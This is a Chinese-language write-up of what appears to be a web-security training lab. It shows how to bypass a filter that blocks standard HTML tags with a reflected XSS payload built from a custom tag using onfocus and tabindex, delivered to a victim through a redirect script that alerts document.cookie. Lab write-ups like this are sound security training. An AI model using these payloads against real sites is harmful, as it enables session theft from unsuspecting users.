> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-custom-tags-only.md).

# 仅使用自定义标签的反射型 XSS

### 反射型 XSS 注入到 HTML 上下文中，除自定义标签外所有标签均被阻止

此应用阻止所有“经典”HTML 标签；仅允许自定义元素。实验目标是注入一个会自动执行的自定义标签 `alert(document.cookie)` （这里你想通过 alert 窃取会话 cookie）。

观察与方法（改写）

* 由于所有标准标签都被过滤，技巧是定义/插入一个浏览器会接受的自定义标签。
* 自定义标签可以包含事件处理器——但某些事件只有在元素能够获得焦点时才会触发。
* 默认情况下，自定义元素不可聚焦；因此需要通过添加 `tabindex=1` 来强制获得焦点，以便在交互时（例如点击或按 Tab 键）触发相关事件。

<figure><img src="/files/9673f37c9462df41bcddad7cc2f5d0157fd312e6" alt=""><figcaption></figcaption></figure>

1. 简单标签——不可聚焦（不会执行 alert）：

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. 同样的标签，通过添加 `tabindex` — `onfocus` 即可生效：

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="/files/259bb20007fece003fb5f059218495b2385a4ecf" alt=""><figcaption></figcaption></figure>

最终概念验证（通过重定向进行数据外带）

* 我们构造一个 URL，在其中注入带有一个 `onfocus` 调用 `alert(document.cookie)` 并通过 `tabindex=1`.
* 发送给受害者的示例载荷（注入内容在 URL 中编码于 `search` 参数中）：

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

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